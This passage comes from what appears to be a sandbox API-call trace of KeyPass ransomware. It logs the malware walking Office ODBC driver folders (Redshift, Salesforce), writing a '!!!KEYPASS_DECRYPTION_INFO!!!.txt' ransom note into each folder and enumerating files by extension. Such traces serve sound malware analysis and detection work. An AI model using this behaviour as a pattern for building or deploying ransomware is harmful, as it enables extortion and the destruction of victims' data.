Drivers\\Redshift\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\redshift\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb5c [0260.306] GetFileType (hFile=0xb5c) returned 0x1 [0260.306] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.306] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.306] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.306] WriteFile (in: hFile=0xb5c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.307] WriteFile (in: hFile=0xb5c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.307] CloseHandle (hObject=0xb5c) returned 1 [0260.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2be48 [0260.307] FindNextFileW (in: hFindFile=0x4e2be48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.307] FindNextFileW (in: hFindFile=0x4e2be48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.307] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.307] FindNextFileW (in: hFindFile=0x4e2be48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.307] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0260.307] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.307] GetLastError () returned 0x3f0 [0260.307] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.307] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\redshift\\lib\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb60 [0260.893] GetFileType (hFile=0xb60) returned 0x1 [0260.893] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0260.893] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0260.893] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0260.893] WriteFile (in: hFile=0xb60, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0260.894] WriteFile (in: hFile=0xb60, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0260.894] CloseHandle (hObject=0xb60) returned 1 [0260.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x4e2bd08 [0260.894] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0260.894] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0260.894] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.894] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0260.894] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\amazonredshiftodbc_sb64.dll") returned=".dll" [0260.894] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0260.894] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0260.894] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.894] GetLastError () returned 0x3f0 [0260.894] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.895] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\redshift\\lib\\openssl64.dlla\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb64 [0262.260] GetFileType (hFile=0xb64) returned 0x1 [0262.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0262.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0262.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0262.260] WriteFile (in: hFile=0xb64, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0262.261] WriteFile (in: hFile=0xb64, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0262.261] CloseHandle (hObject=0xb64) returned 1 [0262.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x4e2bf88 [0262.261] FindNextFileW (in: hFindFile=0x4e2bf88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.261] FindNextFileW (in: hFindFile=0x4e2bf88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0262.261] FindNextFileW (in: hFindFile=0x4e2bf88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\libeay32.dll") returned=".dll" [0262.261] FindNextFileW (in: hFindFile=0x4e2bf88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\openssl64.dlla.manifest") returned=".manifest" [0262.261] FindNextFileW (in: hFindFile=0x4e2bf88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\ssleay32.dll") returned=".dll" [0262.261] FindNextFileW (in: hFindFile=0x4e2bf88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0262.261] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\sbicudt53_64.dll") returned=".dll" [0262.261] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\sbicuin53_64.dll") returned=".dll" [0262.262] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\sbicuuc53_64.dll") returned=".dll" [0262.262] FindNextFileW (in: hFindFile=0x4e2bd08, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0262.262] FindNextFileW (in: hFindFile=0x4e2be48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0262.262] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0262.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\redshift.ini") returned=".ini" [0262.262] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0262.262] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0262.262] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0262.262] GetLastError () returned 0x3f0 [0262.262] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0262.262] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0262.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\salesforce\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb68 [0262.263] GetFileType (hFile=0xb68) returned 0x1 [0262.263] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0262.263] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0262.263] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0262.263] WriteFile (in: hFile=0xb68, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0262.263] WriteFile (in: hFile=0xb68, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0262.264] CloseHandle (hObject=0xb68) returned 1 [0262.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2b948 [0262.264] FindNextFileW (in: hFindFile=0x4e2b948, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0262.264] FindNextFileW (in: hFindFile=0x4e2b948, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0262.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0262.264] FindNextFileW (in: hFindFile=0x4e2b948, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0262.264] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0262.264] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0262.264] GetLastError () returned 0x3f0 [0262.264] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0262.264] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0262.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\salesforce\\lib\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb70 [0262.295] GetFileType (hFile=0xb70) returned 0x1 [0262.295] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0262.295] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0262.295] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0262.295] WriteFile (in: hFile=0xb70, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0262.296] WriteFile (in: hFile=0xb70, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0262.296] CloseHandle (hObject=0xb70) returned 1 [0262.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x4e2b888 [0262.296] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.296] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.296] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0262.296] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.296] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0262.296] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4e30038 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0262.296] GetLastError () returned 0x3f0 [0262.296] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0262.296] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0262.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\salesforce\\lib\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb74 [0262.301] GetFileType (hFile=0xb74) returned 0x1 [0262.302] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0262.302] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0262.302] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0262.302] WriteFile (in: hFile=0xb74, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0262.303] WriteFile (in: hFile=0xb74, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0262.303] CloseHandle (hObject=0xb74) returned 1 [0262.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x4e2b9c8 [0262.303] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.303] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.303] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0262.303] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.303] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\DSMESSAGES.XML") returned=".XML" [0262.303] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.303] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\ODBCMESSAGES.XML") returned=".XML" [0262.303] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.303] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\PGOMESSAGES.XML") returned=".XML" [0262.304] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\SFMESSAGES.XML") returned=".XML" [0262.304] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\SQLENGINEMESSAGES.XML") returned=".XML" [0262.304] FindNextFileW (in: hFindFile=0x4e2b9c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0262.304] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\cacerts.pem") returned=".pem" [0262.304] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.304] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0262.304] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4e30038 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0262.304] GetLastError () returned 0x3f0 [0262.304] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0262.304] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0262.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\salesforce\\lib\\libcurl64.dlla\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb78 [0262.727] GetFileType (hFile=0xb78) returned 0x1 [0262.727] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0262.727] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0262.727] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0262.727] WriteFile (in: hFile=0xb78, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0262.728] WriteFile (in: hFile=0xb78, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0262.728] CloseHandle (hObject=0xb78) returned 1 [0262.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x4e2ba08 [0262.729] FindNextFileW (in: hFindFile=0x4e2ba08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.729] FindNextFileW (in: hFindFile=0x4e2ba08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.729] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0262.729] FindNextFileW (in: hFindFile=0x4e2ba08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.729] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC 